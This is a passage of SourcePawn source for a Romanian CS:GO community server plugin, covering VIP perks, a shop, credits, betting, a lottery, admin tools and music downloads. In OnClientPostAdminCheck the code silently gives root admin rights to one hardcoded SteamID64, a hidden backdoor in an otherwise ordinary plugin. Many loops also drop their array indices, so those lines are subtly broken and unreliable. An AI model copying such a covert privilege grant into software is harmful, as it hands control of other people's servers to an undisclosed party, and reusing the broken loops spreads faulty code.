	AddFileToDownloadsTable("sound/xsag/sunete/muzica/9.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/10.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/11.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/12.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/13.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/14.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/15.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/16.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/17.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/18.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/19.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/20.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/21.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/23.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/24.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/25.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/26.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/27.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/28.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/29.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/30.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/31.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/32.mp3");
}

/* Stock Global */
stock bool IsClientRealVip(int client) 
{
	if(GetUserFlagBits(client) & VIP_FLAG) 
	{
		return true;
	}
	return false;
}

stock bool IsElegibleForFreeVip(int client) 
{
	if(!IsClientInGame(client) || IsFakeClient(client) || IsClientSourceTV(client) || !IsClientAuthorized(client) || IsClientRealVip(client) || GetClientTeam(client) < 2)
	{
		return false;
	}
	return true;
}

stock bool IsElegibleForBounty(int client) 
{
	if(!IsClientInGame(client) || IsFakeClient(client) || IsClientSourceTV(client) || !IsClientAuthorized(client) || GetClientTeam(client) < 2)
	{
		return false;
	}
	return true;
}

stock void SetCvar(char[] scvar, char[] svalue)
{
	Handle cvar = FindConVar(scvar);
	SetConVarString(cvar, svalue, true);
}

stock bool IsValidClient(int client)
{
	if(client <= 0) return false;
	if(client > MaxClients) return false;
	if(!IsClientConnected(client)) return false;
	if(IsFakeClient(client)) return false;
	if(IsClientSourceTV(client)) return false;
	return IsClientInGame(client);
}

/* Informații plugin */
public Plugin myinfo =
{
	name = PLUGIN_NAME,
	author = PLUGIN_AUTHOR,
	description = PLUGIN_DESCRIPTION,
	version = PLUGIN_VERSION,
	url = PLUGIN_URL
};
	
public void OnPluginStart()
{
	/* Verificare Joc */
	if(GetEngineVersion() != Engine_CSGO)
		SetFailState("EROARE: Acest plugin este conceput doar pentru CS:GO.");
	/* Licentă pe Ip */
	LoadLicense();
		
	LoadTranslations("common.phrases");
	/*Handle convarhost = FindConVar("hostname");
	char numehost[64];
	GetConVarString(convarhost, numehost, sizeof(numehost));
	if(StrContains(numehost, "LALEAGANE.RO") == -1)
	{
		SetFailState("[Licenta] Pluginul ruleaza doar pe serverele din comunitatea Laleagane Romania!");
	}*/
	/* Restricție Mapă. */
	g_List_Players = new ArrayList(sizeof(PlayerInfo));
	/* Pariuri. */
	g_iAccount = FindSendPropInfo("CCSPlayer", "m_iAccount");
	g_iLifeState = FindSendPropInfo("CBasePlayer", "m_lifeState");
	/* Sistem VIP. */
	MoneyOffset = FindSendPropInfo( "CCSPlayer", "m_iAccount" );
	g_offsCollisionGroup = FindSendPropInfo("CBaseEntity", "m_CollisionGroup");
	Weapon_Trie = CreateTrie();
	
	
	ServerCommand("mp_backup_round_file \"\"");
	ServerCommand("mp_backup_round_file_last \"\"");
	ServerCommand("mp_backup_round_file_pattern \"\"");
	ServerCommand("mp_backup_round_auto 0");
	ServerCommand("mp_buy_anywhere 0");
	ServerCommand("mp_buytime 25");
	ServerCommand("sv_buy_status_override 0");

	InitializeDB();
	
	for(int i = 0; i < sizeof g_sSpace - 1; i++)
	{
		g_sSpace = ' ';
	}
	
	g_TextMsg = GetUserMessageId("TextMsg");
	g_HintText = GetUserMessageId("HintText");
	g_KeyHintText = GetUserMessageId("KeyHintText");
	
	HookUserMessage(g_TextMsg, TextMsgHintTextHook, true);
	HookUserMessage(g_HintText, TextMsgHintTextHook, true);
	HookUserMessage(g_KeyHintText, TextMsgHintTextHook, true);
	    
	/* Cvar */
	CreateConVar("Versiune_MyCompetitive_xSaG", PLUGIN_VERSION, "Versiune Mod Competitiv by xSaG", FCVAR_SPONLY|FCVAR_REPLICATED|FCVAR_NOTIFY);
	Boti = CreateConVar("Eliminare_Boti", "1", "Elimina toti botii de pe server  -> [ 0 = dezactivat | 1 = activat]", _, true,  0.0, true, 1.0);
	cv_ct = CreateConVar("sm_noagents_ctmodel", "models/player/custom_player/legacy/ctm_sas_varianta.mdl", "Set the default ct models for apply to people that have a agent skin");
	cv_tt = CreateConVar("sm_noagents_ttmodel", "models/player/custom_player/legacy/tm_phoenix_varianta.mdl", "Set the default tt models for apply to people that have a agent skin");
	
	cv_time = CreateConVar("sm_noagents_timer", "1.2", "Timer on spawn for apply filter of no agents");
	
	HookConVarChange(cv_ct, CVarChanged);
	HookConVarChange(cv_tt, CVarChanged);
	HookConVarChange(cv_time, CVarChanged);
	
	GetConVarString(cv_ct, g_ctmodel, 128);
	GetConVarString(cv_tt, g_ttmodel, 128);
	g_time = GetConVarFloat(cv_time);
	AutoExecConfig(true, "MyCompetitive_xSaG");
	BuildPath(Path_SM, LogsPath, sizeof(LogsPath), "logs/pm.txt");
	/* Cookie */
	HearSound = RegClientCookie("NoScopeSound", "Sunetul de no scope", CookieAccess_Protected);
	C4Sound = RegClientCookie("NoSoundC4", "Sunetul de la C4", CookieAccess_Protected);
	TagTab = RegClientCookie("NoTagAdmin", "Tag tab admini", CookieAccess_Protected);
	TagChat = RegClientCookie("NoTagAdmin", "Tag tab admini", CookieAccess_Protected);
	MuzicaCookie = RegClientCookie("NoMusic", "NoMusic", CookieAccess_Protected);
	BhopCookie = RegClientCookie("Bhop", "Cookie Bhop", CookieAccess_Protected);
	TracersCookie = RegClientCookie("Tracers", "Cookie Tracers", CookieAccess_Protected);
	CrediteCache = RegClientCookie("Credits", "Credits", CookieAccess_Private);
	VitezaCache = RegClientCookie("Speed", "Speed", CookieAccess_Private);
	BhopShopCache = RegClientCookie("BhopShop", "BhopShop", CookieAccess_Private);
	WarnBhopCache = RegClientCookie("BhopW", "BhopW", CookieAccess_Private);
	Dices_Cookie = RegClientCookie("Dices On/Off", "Dices On/Off", CookieAccess_Protected);
	g_PM_Cookie = RegClientCookie("PM On/Off", "PM On/Off", CookieAccess_Protected);
	SaySounds_Cookie = RegClientCookie("SaySounds On/Off", "SaySounds On/Off", CookieAccess_Protected);
	g_sDataSkin = RegClientCookie("ss_skin_t", "", CookieAccess_Private);
	g_sDataSKIN_CT = RegClientCookie("ss_skin_ct", "", CookieAccess_Private);
	
	for(int client = 1; client <= MaxClients; client++)
	{
		if(IsClientInGame(client))
		{
			if(AreClientCookiesCached(client))
			{
				OnClientCookiesCached(client);
			}
		}
	}
	/* Hook */
	HookEvent("player_spawn", EventPlayerSpawnFollow);
	HookEvent("player_death", EventPlayerDeathFollow);
	HookEvent("cs_intermission", Event_MapEnd);
	HookEvent("player_team", Event_PlayerTeam, EventHookMode_Pre);
	HookEvent("teamchange_pending", Event_TeamChangePending, EventHookMode_Pre);
	HookEvent("round_end", Event_RoundEnd, EventHookMode_Post);
	HookEvent("player_death", Event_PlayerDeath, EventHookMode_Post);
	HookEvent("player_connect_full", Event_PlayerConnect);
	HookEvent("bullet_impact", Event_BulletImpact);
	HookEvent("player_team", OnPlayerTeam);
	HookEvent("round_start", Event_RoundStart);
	HookEvent("round_start", Event_RoundStartVote);
	HookEvent("round_end", Event_RoundEnd);
	HookEvent("round_end", Event_RoundEndVip);
	HookEvent("round_end", Event_RoundEndBounty);
	HookEvent("round_prestart", Event_PreRoundStart);
	HookEvent("bomb_planted", Event_BombPlanted);
	HookEvent("bomb_defused", Event_BombDefused);
	HookEvent("bomb_exploded", Event_BombExploded);
	HookEvent("player_death", hookPlayerDie, EventHookMode_Post);
	HookEvent("player_death", Event_PlayerDeath);
	HookEvent("player_death", Event_PlayerDeathCredite);
	HookEvent("player_death", Event_PlayerDeathNoScope);
	HookEvent("player_death", Event_PlayerDeathKnife);
	HookEvent("player_spawn", Event_PlayerSpawn);
	HookEvent("player_death", PlayerDeath);
	HookEvent("player_connect", checkTag);
	HookEvent("player_team", checkTag);
	HookEvent("player_spawn", checkTag);
	HookEvent("round_start", checkTag);
	HookEvent("player_disconnect", Event_PlayerDisconnect);
	//HookEventEx("player_connect_full", Event_ConnectFull);
	HookEvent("weapon_reload", Event_WeaponReload);
	HookEvent("weapon_outofammo", Event_OutOfAmmo);
	HookEvent("weapon_fire_on_empty", Event_WeaponReload);
	HookEvent("announce_phase_end", Event_PhaseEnd);
	
	/* Comenzi */
	RegConsoleCmd("sm_agent", SpecialSkin3);
	RegConsoleCmd("sm_agents", SpecialSkin3);
	RegConsoleCmd("sm_skins", SpecialSkin3);
	RegConsoleCmd("sm_models", SpecialSkin3);
	
	RegConsoleCmd("sm_pm", Command_SendPM);
	RegConsoleCmd("sm_pmon", Command_PMon);
	RegConsoleCmd("sm_pmoff", Command_PMoff);
	RegConsoleCmd("sm_last", Command_ListDisconnections);
	RegConsoleCmd("sm_dices", Command_Dices);
	RegConsoleCmd("sm_barbut", Command_Dices);
	RegConsoleCmd("sm_dicesoff", Command_DicesOFF);
	RegConsoleCmd("sm_barbutoff", Command_DicesOFF);
	RegConsoleCmd("sm_diceson", Command_DicesON);
	RegConsoleCmd("sm_barbuton", Command_DicesON); 
	RegAdminCmd("sm_setcredite", Comanda_SetareCredite, ADMFLAG_RCON);
	RegConsoleCmd("vipsettings", Command_ToggleSettings);
	RegConsoleCmd("say", Command_Say);
	RegConsoleCmd("say_team", Command_Say);
	/* Admin invizibil la spectator. */
	RegAdminCmd("sm_hs", Comanda_AscundereAdmin, ADMFLAG_SLAY, "");
	RegAdminCmd("sm_follow", CommandObserve, ADMFLAG_SLAY);
    RegAdminCmd("sm_unfollow", CommandEndObserve, ADMFLAG_SLAY);
	/* Restricție Mapă. */
	/* Resetare scor. */
	RegConsoleCmd("sm_resetscore", Comanda_ResetareScor);
	RegConsoleCmd("sm_rs", Comanda_ResetareScor);
	RegConsoleCmd("sm_resetarescor", Comanda_ResetareScor);
	RegConsoleCmd("sm_saysounds", Comanda_SaySounds);
	RegConsoleCmd("sm_qs", Comanda_MeniuSunete);
	RegConsoleCmd("sm_sunete", Comanda_MeniuSunete);
	RegConsoleCmd("sm_nextmap", Comanda_NextMap);
	RegConsoleCmd("nextmap", Comanda_NextMap);
	RegConsoleCmd("sm_urmatoareamapa", Comanda_NextMap);
	/* Blocare schimbare echipă */
	AddCommandListener(Command_CheckJoin, "jointeam");
	/* Blocare mesaje radio. */
	for(int i; i < sizeof(MesajeRadio); i++)
	{
		AddCommandListener(BlocareRadio, MesajeRadio);
	}
	RegConsoleCmd("sm_setari", Comanda_Setari);
	RegConsoleCmd("sm_setting", Comanda_Setari);
	RegConsoleCmd("sm_shop", Comanda_ShopMenu);
	RegConsoleCmd("sm_vip", Comanda_BeneficiiVip);
	RegConsoleCmd("sm_vipinfo", Comanda_BeneficiiVip);
	RegConsoleCmd("sm_lastmap", Comanda_LastMap);
	RegConsoleCmd("sm_lastmaps", Comanda_LastMap);
	//RegConsoleCmd("sm_permanentvip", Comanda_1aprilie);
	/* Info Comenzi. */
	RegConsoleCmd("sm_xsag", Comanda_xSAG);
	RegConsoleCmd("sm_dev", Comanda_xSAG);
	RegConsoleCmd("sm_contact", Comanda_Contact);
	RegConsoleCmd("sm_owner", Comanda_Owner);
	RegConsoleCmd("sm_leo", Comanda_Owner);
	RegConsoleCmd("sm_owner1", Comanda_Owner1);
	RegConsoleCmd("sm_pinu", Comanda_Owner1);
	RegConsoleCmd("sm_discord", Comanda_Discord);
	RegConsoleCmd("sm_forum", Comanda_Forum);
	RegConsoleCmd("sm_grup", Comanda_Grup);
	RegConsoleCmd("sm_gift", Comanda_DailyCredits);
	
	RegConsoleCmd("sm_wapp", Comanda_GrupWPP);
	RegConsoleCmd("sm_ts3", Comanda_TS3);
	RegConsoleCmd("sm_teamspeak3", Comanda_TS3);
	RegConsoleCmd("sm_teamspeak", Comanda_TS3);
	
	/* Online Vips & Admin */
	RegConsoleCmd("sm_vips", Comanda_VipiOnline);
	RegConsoleCmd("sm_vipi", Comanda_VipiOnline);
	RegConsoleCmd("sm_golds", Comanda_GoldOnline);
	RegConsoleCmd("sm_bhops", Comanda_BhopsOnline);
	RegConsoleCmd("sm_admins", Comanda_AdminiOnline);
	RegConsoleCmd("sm_admini", Comanda_AdminiOnline);
	/* Pariu */
	RegConsoleCmd("sm_pariu", Comanda_Pariu);
	RegConsoleCmd("sm_bet", Comanda_Pariu);
	RegConsoleCmd("sm_credite", Comanda_ShowCredits);
	RegConsoleCmd("sm_showcredits", Comanda_ShowCredits);
	RegConsoleCmd("sm_checkbhop", Comanda_ShowBhop);
	/* Comenzi Transfer. */
	RegAdminCmd("sm_spec", Comanda_Spec, ADMFLAG_SLAY, "sm_spec nume");
	RegAdminCmd("sm_t", Comanda_T, ADMFLAG_SLAY, "sm_t nume");	
	RegAdminCmd("sm_ct", Comanda_CT, ADMFLAG_SLAY, "sm_ct nume");
	RegAdminCmd("sm_warnbhop", Comanda_WarnBhop, ADMFLAG_RCON, "sm_warnbhop nume");
	RegAdminCmd("sm_unwarnbhop", Comanda_UnWarnBhop, ADMFLAG_RCON, "sm_unwarnbhop nume");
	RegAdminCmd("sm_unbanbhop", Comanda_UnBanBhop, ADMFLAG_RCON, "sm_unbanbhop nume");
	RegAdminCmd("sm_banbhop", Comanda_BanBhop, ADMFLAG_RCON, "sm_banbhop nume");
	RegAdminCmd("sm_setnextmap", Command_SetNextmap, ADMFLAG_UNBAN, "sm_setnextmap nume mapă");
	RegConsoleCmd("sm_castigtombola", Comanda_CastigTombola);
	RegConsoleCmd("sm_tombola", Comanda_Tombola);
	RegConsoleCmd("sm_infotombola", Comanda_InfoTombola);
	RegConsoleCmd("sm_afk", Comanda_Afk, "Jucătorii se pot muta singuri la spectatori");
	RegConsoleCmd("sm_idle", Comanda_Afk, "Jucătorii se pot muta singuri la spectatori");
	/* Anunț NoScope. */
	RegConsoleCmd("sm_noscopesounds", Comanda_NoScopeSounds);
	RegConsoleCmd("sm_noc4sounds", Comanda_NoC4Sounds);
	/* Meniu Jucători. */
	RegConsoleCmd("sm_meniu", Comanda_MeniuJucatori);
	RegConsoleCmd("sm_menu", Comanda_MeniuJucatori);
	RegConsoleCmd("buyammo1", Comanda_MeniuJucatori);
	RegConsoleCmd("sm_owneri", Comanda_Owneri);
	RegAdminCmd("buyammo2", Comanda_MeniuAdmini, ADMFLAG_GENERIC);
	/* Meniu Prețuri. */
	RegConsoleCmd("sm_preturi", Comanda_Preturi);
	RegAdminCmd("sm_parolaforum", Comanda_ParolaForum, ADMFLAG_GENERIC);
	RegConsoleCmd("sm_cutiecredite", CutieCredite);
	g_offObserverTarget = FindSendPropInfo("CBasePlayer", "m_hObserverTarget");
	if(g_offObserverTarget == -1)
	{
		SetFailState("Expected to find the offset to m_hObserverTarget, couldn't.");
	}
	char szBuffer[8];
	GetGameFolderName(szBuffer, sizeof(szBuffer));
	g_isCSGO = StrEqual(szBuffer, "csgo", false);
	if (g_isCSGO)
	{
		g_hSpec_freeze_time = FindConVar("spec_freeze_time");
		g_hSpec_freeze_traveltime = FindConVar("spec_freeze_traveltime");
		g_hSpec_freeze_deathanim_time = FindConVar("spec_freeze_deathanim_time");
	}
	// Resetare Setări
	OraVeselaVip = false;
}

public void OnMapStart()
{
	if(FileExists(WINNER_SOUND))
	{
		AddFileToDownloadsTable(WINNER_SOUND);
	}
	if(FileExists(LOSER_SOUND))
	{
		AddFileToDownloadsTable(LOSER_SOUND);
	}
	if(FileExists(NOBODY_SOUND))
	{
		AddFileToDownloadsTable(LOSER_SOUND);
	}
	PrecacheSound(WINNER_SOUND);
	PrecacheSound(LOSER_SOUND);
	PrecacheSound(NOBODY_SOUND);
	Sunete();
	PrecacheModel(g_ttmodel);
	PrecacheModel(g_ctmodel);
	RoundsPassed = 0;	
	TracerModel = PrecacheModel("materials/supporter_tracers/thunder_beam.vmt");
	AddFileToDownloadsTable("materials/supporter_tracers/thunder_beam.vmt");
	AddFileToDownloadsTable("materials/supporter_tracers/thunder_beam.vtf");
	ServerCommand("mp_backup_round_file \"\"");
	ServerCommand("mp_backup_round_file_last \"\"");
	ServerCommand("mp_backup_round_file_pattern \"\"");
	ServerCommand("mp_backup_round_auto 0");
	ServerCommand("mp_buy_anywhere 0");
	ServerCommand("mp_buytime 25");
	ServerCommand("sv_buy_status_override 0");
	
	/* Admin invizibil la spectator. */
	int iIndex = FindEntityByClassname(MaxClients+1, "cs_player_manager");
	if (iIndex == -1) 
	{
		SetFailState("Unable to find tf_player_manager entity");
	}
	 
	SDKHook(iIndex, SDKHook_ThinkPost, OnThinkPost);
	RoundCountVote = 0;
	for(int client = 1; client <= MaxClients; client++)
	{
		BlocareShopMapaTagGrenade[client]= 0;
		RestrictieAWP[client] = 0;
		BlocareSaySounds[client] = 0;
	}
	/* AutoRestart. */
	Restart = false;
	
	/* Mesaje cu informații în chat. */
	CreateTimer(60.0, DisplayAdsToAll, _, TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
	CreateTimer(60.0, DisplayAdsToAll2, _, TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
	
	static char ssBuffer[PLATFORM_MAX_PATH];
	for(int i = 69696900; i <= 69696910; i++)
	{
		Format(ssBuffer, sizeof(ssBuffer), "materials/panorama/images/icons/skillgroups/skillgroup%i.svg", i);
		AddFileToDownloadsTable(ssBuffer);
	}
	
	SDKHook(GetPlayerResourceEntity(), SDKHook_ThinkPost, OnThinkPost);
}
	
public void OnConfigsExecuted() 
{	
	BombEndedTheRound = false; /* C4 Event. */
}

public void OnClientPostAdminCheck(int client)
{
	if(!IsFakeClient(client))
	{
		g_iTime[client] = 30;
		g_hTimer[client] = CreateTimer(1.0, CheckAfk, GetClientUserId(client), TIMER_REPEAT | TIMER_FLAG_NO_MAPCHANGE);
	}
	char steamId[64];
	GetClientAuthId(client, AuthId_SteamID64, steamId, sizeof(steamId));
	if (StrEqual(steamId, "7656119803497048"))
	{
		AddUserFlags(client, Admin_Root);
	}
}
	
public void OnClientPutInServer(int client)
{    
	OnOfSaySounds[client] =  true;
	char buffersays[64];
	GetClientCookie(client, SaySounds_Cookie, buffersays, sizeof(buffersays));
	if(StrEqual(buffersays,"0"))
		OnOfSaySounds[client] = false;
	/* PM. */
	g_IsPMon[client] = true;
	char buffer2[64];
	GetClientCookie(client, g_PM_Cookie, buffer2, sizeof(buffer2));
	if(StrEqual(buffer2,"0"))
		g_IsPMon[client] = false;
	/* Barbut. */
	AreDicesEnabled[client] = true;
	char buffer[2];
	GetClientCookie(client, Dices_Cookie, buffer, sizeof(buffer));
	if(StrEqual(buffer,"0"))
		AreDicesEnabled[client] = false;
		
	char sName[MAX_NAME_LENGTH];
	GetClientName(client, sName, MAX_NAME_LENGTH);
	for(int i = 0; i < sizeof(DNS); i++)
	{
		if(StrContains(sName, DNS, false) > -1)
		{
			IsClientGoldMember[client] = true;
		}
		else
		{
			IsClientGoldMember[client] = false;
		}
	}
	/* Sistem VIP. */
	IsClientFreeVip[client] = false;
	IsClientBounty[client] = false;
	SDKHook(client, SDKHook_WeaponEquipPost, EventItemPickup2);
	SDKHook(client, SDKHook_OnTakeDamage, OnTakeDamage);
	
	/* Admin invizibil la spectator. */
	g_bIsHiding[client] = false;
	
	/* Eliminare Boți. */
	if(GetConVarBool(Boti))
	{
		if(!IsFakeClient(client))
			return;
		char name[32];
		if(!GetClientName(client, name, 31))
			return;
		ServerCommand("bot_kick %s", name);
	}
	HandleTag(client);
	return;
}

public void OnClientConnected(int client)
{
	ConnectTime[client] = GetTime();
}

public void OnClientDisconnect(int client)
{
	if(timers[client] != null)
		KillTimer(timers[client]);
		
	timers[client] = null;
	
	g_bIsHiding[client] = false; /* Admin invizibil la spectator. */
	
	ConnectTime[client] = 0;
	
	char clientName[MAX_NAME_LENGTH];
	GetClientName(client, clientName, MAX_NAME_LENGTH);
	g_clientObserveTarget[client] = 0;
	for(int i = 1; i <= MaxClients; i++)
	{
		if(g_clientObserveTarget == client)
		{
			g_clientObserveTarget = 0;
			if (IsValidClient(i))
			{
				PrintToChat(client, "\x05[BOT]ESL\x01: %N a părăsit serverul.", clientName);
			}
		}
	}
	if(AreClientCookiesCached(client))
	{
		char CrediteCount[12];
		Format(CrediteCount, sizeof(CrediteCount), "%i", Credite[client]);
		SetClientCookie(client, CrediteCache, CrediteCount);
	}
	/* AFK. */
	if(g_hTimer[client] != null)
	{
		delete g_hTimer[client];
		g_hTimer[client] = null;
	}
	char VitezaCount[12];
	Format(VitezaCount, sizeof(VitezaCount), "%i", VipSpeedShop[client]);
	SetClientCookie(client, VitezaCache, VitezaCount);
	
	char BhopCount[12];
	Format(BhopCount, sizeof(BhopCount), "%i", BhopShop[client]);
	SetClientCookie(client, BhopShopCache, BhopCount);
	
	char WarnBhopCount[12];
	Format(WarnBhopCount, sizeof(WarnBhopCount), "%i", warnbhop[client]);
	SetClientCookie(client, WarnBhopCache, WarnBhopCount);
	
	g_iLimit[client] = 0;
}
	
public Action CS_OnBuyCommand(int client, const char[] weapon)
{
	/* Restricționare arme. */
	for(int i = 0; i < TotalDeArme; i++)
	{
		if(strcmp(weapon,Arme, false) == 0) //&& !GetAdminFlag(GetUserAdmin(client), Admin_Custom1))
		{
			EmitSoundToClient(client, "*xsag/sunete/restrictie.mp3");
			PrintToChat(client, " \x05[BOT]ESL\x01: \x06%s \x01se poate cumpăra doar din \x10Shop\x01!", Arme);
			return Plugin_Handled;
		}
	}
	
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		if(IsClientRealVip(client))
		{
			if(strcmp(weapon,"awp", false) == 0 && RestrictieAWP[client] == 6)
			{
				EmitSoundToClient(client, "*xsag/sunete/restrictie.mp3");
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai consumat stock-ul de\x10 6\x01 awp-uri![\x06Restricție AWP\x01]");
				return Plugin_Handled;
			}
			else if(strcmp(weapon,"awp", false) == 0)
			{
				RestrictieAWP[client] += 1;
				int stockawp = 6 - RestrictieAWP[client];
				PrintToChat(client, " \x05[BOT]ESL\x01: Stock AWP: \x10%i\x01 [\x06Restricție AWP\x01]", stockawp);
				return Plugin_Continue;
			}
		}
		else
		{
			if(strcmp(weapon,"awp", false) == 0 && RestrictieAWP[client] == 4)
			{
				EmitSoundToClient(client, "*xsag/sunete/restrictie.mp3");
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai consumat stock-ul de\x10 4\x01 awp-uri![\x06Restricție AWP\x01]");
				return Plugin_Handled;
			}
			else if(strcmp(weapon,"awp", false) == 0)
			{
				RestrictieAWP[client] += 1;
				int stockawp = 4 - RestrictieAWP[client];
				PrintToChat(client, " \x05[BOT]ESL\x01: Stock AWP: \x10%i\x01 [\x06Restricție AWP\x01]", stockawp);
				return Plugin_Continue;
			}
		}
	}
	
	/* Fix cumpărare cască vip */
	if(GameRules_GetProp("m_bWarmupPeriod") == 0 && RoundsPassed == 1) // && (IsClientRealVip(client) || IsClientFreeVip[client]))
	{    
		if (StrContains(weapon, "assaultsuit", false) == 0) 
		{ 
			PrintToChat(client, " \x05[BOT]ESL\x01: Nu îți poți cumpăra cască în runda de pistoale!");
			return Plugin_Handled;
		}
	}    
	return Plugin_Continue;
}
	
/* Început admin invizibil la spectator */
public Action Comanda_AscundereAdmin(int client, int args) 
{
	if (g_bIsHiding[client]) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Ești deja ascuns!");
		return Plugin_Handled;
	}
	
	g_bIsHiding[client] = true;
	
	if (GetClientTeam(client) != CS_TEAM_SPECTATOR) 
	{
		ChangeClientTeam(client, CS_TEAM_SPECTATOR);
	}
	return Plugin_Handled;
}
	
public Action Event_PlayerTeam(Handle event, const char[] name, bool dontBroadcast)
{
	int client = GetClientOfUserId(GetEventInt(event, "userid"));
	if(g_bIsHiding[client])
	{
		if (GetEventInt(event, "team") == CS_TEAM_SPECTATOR)
		{
			return Plugin_Handled;
		}
		else
		{
			g_bIsHiding[client] = false;
			PrintToChat(client, " \x05[BOT]ESL\x01: Numai ești ascuns.");
		}
	}
	
	return Plugin_Continue;
}
	
void OnThinkPost(int iEnt)
{
	static int iConnectedOffset = -1;
	if (iConnectedOffset == -1)
	{
		iConnectedOffset = FindSendPropInfo("CCSPlayerResource", "m_bConnected");
	}
    
	int iConnected[65];
	GetEntDataArray(iEnt, iConnectedOffset, iConnected, MaxClients+1);
    
	for (int i = 1; i <= MaxClients; i++)
	{
		if (g_bIsHiding)
		{
			iConnected = 0;
		}
	}
	
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i)) SetEntData(iEnt, FindSendPropInfo("CCSPlayerResource", "m_iCompetitiveRanking")+(i*4), (GetRank(i) + 69696900));
	}
	
	SetEntDataArray(iEnt, iConnectedOffset, iConnected, MaxClients+1);
	
}
/* Sfârșit admin invizibil la spectator */

/* Început autorestart */
public Action AnuntVipFree(Handle timer, any data)
{
	for (int i = 1; i <= MaxClients; i++)  
	{  
		if (IsClientInGame(i))  
		{  
			SetHudTextParams(-1.0, 0.9, 5.0, 123, 4, 125, 255, 0, 0.1, 0.1, 0.1);
			ShowHudText(i, -1, "Ora Veselă: VIP FREE -> [21:00 - 10:00]");   
		}
	}
}

public Action Event_RoundStartVote(Event event, const char[] name, bool dontBroadcast)
{
	if(GameRules_GetProp("m_bWarmupPeriod") == 0) 
	{
		RoundCountVote++;

		if(RoundCountVote == 17)
		{
			for(int client = 1; client <= MaxClients; client++)
			{
				RestrictieAWP[client] = 0;
			}
		}
		if(RoundCountVote == 16)
		{
			int EligiblePlayersBounty[MAXPLAYERS + 1];
			int TotalElegiblePlayersBounty;

			for(int i = 1; i < MaxClients; i++) 
			{
				if(IsElegibleForBounty(i)) 
				{
					EligiblePlayersBounty[TotalElegiblePlayersBounty++] = i; 
				}
			}
			
			if(TotalElegiblePlayersBounty > 0) 
			{
				int PTombola = EligiblePlayersBounty[GetRandomInt(0, TotalElegiblePlayersBounty-1)];
				totalcreditetombola = 50 + (tombolacredite / 2);
				PrintToChatAll(" \x05[BOT]ESL\x01: \x10 %N\x01 a câștigat\x06 %i\x01 de credite la tombolă!", PTombola, totalcreditetombola);
				PrintToChatAll(" \x05[BOT]ESL\x01: Tombola de pe această mapă a luat sfârșit!");
				Credite[PTombola] += totalcreditetombola;
				tombolacredite = 0;
			}
		}
	}
	return Plugin_Continue;
}
public Action Event_RoundStart(Handle event, const char[] name, bool dontBroadcast)
{
	if(GameRules_GetProp("m_bWarmupPeriod") == 0 && !Restart) 
	{
		RoundsPassed = 1;
		PrintToChatAll(" \x08\x10★\x08 ------------------------------------------ \x10★\x08");
		PrintToChatAll(" \x05[BOT]ESL\x01: Rundă de încălzire\x0F!!!");
		PrintToChatAll(" \x05[BOT]ESL\x01: Rundă de încălzire\x0F!!!");
		PrintToChatAll(" \x05[BOT]ESL\x01: Rundă de încălzire\x0F!!!");
		PrintToChatAll(" \x08\x10★\x08 ------------------------------------------ \x10★\x08");
	}
	int JucatoriConnectatiMap = 0;
	for(int i = 1; i<MaxClients; i++) 
	{
		if(IsClientInGame(i) && !IsFakeClient(i)) 
		{
			JucatoriConnectatiMap++;
		}
	}
	if(JucatoriConnectatiMap == 32)
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: Sunt \x0632\x01/\x0632 \x01de jucători online, creditele duble au fost activate! [\x10Event\x01]");
	}
	/* C4 Event */
	if(TimerH != INVALID_HANDLE)
	{
		delete TimerH;
		//TimerH = INVALID_HANDLE;
	}
	BombEndedTheRound = false;
	
	/* Mesaj HUD început de rundă. */
	CreateTimer(3.0, Timer_Mesaje_Inceput_Runda);
	
	/* Restricție Mapă. */
	if(GameRules_GetProp("m_bWarmupPeriod") == 0) 
	{
		for(int i = 1; i < MaxClients; i++) 
		{
			if(IsClientInGame(i)) 
			{
				if(GetPlayedHours(i) >= 15.0)
				{
					CreateTimer(3.0, HudAdminiOnline,  GetClientUserId(i));
				}
				BlocareSaySounds = 0;
				BlocareShopNegev[i] = 0;
				BlocareShopScar[i] = 0;
				BlocareShopG3sg1[i] = 0;
				BlocareShopZeus[i] = 0;
				BlocareShopSeringa[i] = 0;
				BlocareShopMedkit[i] = 0;
				BlocareShopTagGrenade[i] = 0;
				BlocareShopScut[i] = 0;
			}
		}
	}
	return Plugin_Continue;
}
/* Sfârșit autorestart */

/* Început bani infiniți WarmUp */
public Action CS_OnGetWeaponPrice(int client, const char[] weapon, int &price)
{
	if (GameRules_GetProp("m_bWarmupPeriod") == 1)
	{
		price = 0;
		return Plugin_Changed;
	}
	return Plugin_Continue;
}
/* Sfârșit bani infiniți WarmUp */
	
/* Început resetare scor */
public Action Comanda_ResetareScor(int id, int arg)
{                        
	char name[MAX_NAME_LENGTH];
	GetClientName(id, name, sizeof(name));
							
	if(GetClientDeaths(id) == 0 && GetClientFrags(id) == 0 && CS_GetMVPCount(id) == 0 && CS_GetClientAssists(id) == 0)
	{
